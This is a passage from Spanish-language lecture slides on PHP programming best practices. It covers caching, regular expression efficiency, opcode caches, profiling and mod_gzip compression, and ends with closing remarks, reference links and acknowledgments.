información a múltiples usuarios➔ Cada pedido de una página, resulta en los mismos

resultados de búsqueda en la base de datos➔ 90% del trabajo de tu servidor se gasta en

regenerar el mismo contenido... ¡estático!

Page 57: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Usar cache al máximo (2)

La solución: Usa un cache➔ Estima la frecuencia con que realmente necesitas

regenerar tu contenido dinámico➔ Usa un cache para los periodos en los que no

regeneras el contenido➔ Evita el que el contenido estático sea regenerado, o

actualiza este con mucho menor frecuencia● Librerías de cache sugeridas:

➔ Cache_Lite (http://pear.php.net/Cache_Lite)➔ eZCache (http://ez.no/products/ez_components)

Page 58: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Usar cache al máximo (3)

Page 59: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Cuidado con las expresiones regulares (1)

La situación: Las expresiones regulares (regexes) pueden consumir mucho tiempo de proceso➔ Prefiere usar PCRE en lugar de EREG, es mas

potente y mas rápido➔ Una regex escrita incorrectamente puede consumir

mucho tiempo de proceso➔ Una función en C equivalente es siempre mucho

mas veloz que la regex equivalente

Page 60: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Cuidado con las expresiones regulares (2)

La solución: Piensa dos veces antes de usar una regex➔ ¿Existe una función en PHP que hace el mismo

trabajo que mi regex?➔ Reemplaza tus EREGs por PCREs➔ Trata de no usar “backtracking” de ser posible (usa

el modificador U, cuando sea posible)➔ Lee, aprende y usa inteligentemente el contenido

del libro:“Mastering Regular Expressions” (http://www.oreilly.com/catalog/regex/)

Page 61: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Emplea cache de código intermedio/compilado (1)

La situación: Compilación del código de PHP (en el servidor) consume tiempo➔ Tu código de PHP es recompilado cada vez que

hay un pedido➔ Aún si es 0.5 seg por cada pedido, eso significa

mas de 2 minutos en sólo 250 pedidos➔ Compilar algunos archivos de PHP toma más

tiempo que ejecutarlos, en particular si estos incluyen muchos otros archivos (clases, configuración, etc.)

Page 62: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Emplea cache de código intermedio/compilado (2)

La solución: Usa cache de OP code➔ El motor Zend compila el código PHP en OP code

antes de ejecutarlo➔ El OP code no cambia a menos que cambies tu

código fuente➔ Un cache de OP code ahorra la compilación

● Recomendaciones de caches de OP code:➔ APC (Código Libre): http://pecl.php.net/APC➔ Zend perfomance suite (comercial):

http://www.zend.com

Page 63: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Emplea cache de código intermedio/compilado (3)

Page 64: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Haz un perfil del aplicativo (1)

La situación: Es difícil encontrar los cuellos de botella en un aplicativo grande➔ Aún los aplicativos mejor diseñados y escritos,

pueden sufrir de componentes que causan que todo funciones lentamente

➔ Encontrar los cuellos de botella, en ocasiones es muy, pero muy, difícil

➔ El tratar de encontrar problemas por pruebas y error al azar, consume tiempo y no es efectivo en casos complejos

Page 65: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Haz un perfil del aplicativo (2)

La solución: Haz un perfil de tu código➔ Un perfilador te muestra cuanto tiempo consume

cada parte de tu código➔ Xdebug también tiene un perfilador➔ Un perfilador identifica inequívocamente los cuellos

de botella (no tienes que adivinar)● Recomendaciones de perfiladores

➔ Xdebug (Código Libre): http://xdebug.org/➔ APD (Código Libre): http://pecl.php.net/package/apd

Page 66: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Usa mod_gzip (1)

La situación: No tienes ancho de banda suficiente para tu servidor de web➔ A veces el problema no es la velocidad de tu CPU,

tus discos o tu base de datos➔ Con muchos datos a transmitir, o un ancho de

banda pobre, la velocidad de transmisión sufre➔ Las sugerencias usuales para mejorar la

performance de tu aplicativo, no te son muy útiles en este caso

Page 67: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Usa mod_gzip (2)

La solución: Usa mod_gzip➔ Comprime tus datos en tiempo real➔ Compresión GZIP es parte de HTTP 1.1➔ Puede reducir los datos a ser transferidos hasta en

un 80%➔ Está disponible como un módulo de Apache➔ Para más información:

http://sourceforge.net/projects/mod-gzip/

Page 68: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Palabras finales● El mejorar tu código implica cambios de

hábitos y el uso de herramientas que hagan tu trabajo mejor y mas eficiente

● Lee código y eso ayudará a que el tuyo mejore. Lo mismo para la documentación.

● Programa considerando la seguridad como parte integral de tu diseño y no como algo secundario.

● Mejorar la performance no es difícil, pero requiere algo de trabajo.

Page 69: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

Para mas información

● PHP: http://www.php.net● Zend: http://www.zend.com● Manual de PHP: http://www.php.net/manual/● Charlas acerca de PHP: http://talks.php.net/● Bugs: http://bugs.php.net/● Listas de correo: http://news.php.net● CVS: http://cvs.php.net● Otros sitios de PHP.net: http://www.php.net/sites.php● Libros: http://www.php.net/books.php● Otras referencias: http://www.php.net/links.php

Page 70: Buenas Prácticas de Programación en PHP

Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, yDirección Universitaria de Información, Universidad Peruana Cayetano Heredia

¡Gracias!

✔ A los organizadores por su invitación para hablar acerca de este tema.

✔ A ustedes por no aburrirse mucho con mi charla interminable.

✔ A todos los desarrolladores de PHP que nos hacen la vida mas fácil.

✔ A Kore Nordmann y Tobias Schlitt, de quienes tomé gran parte del material.

Esta y otras presentaciones disponibles en:http://www.castagnetto.com/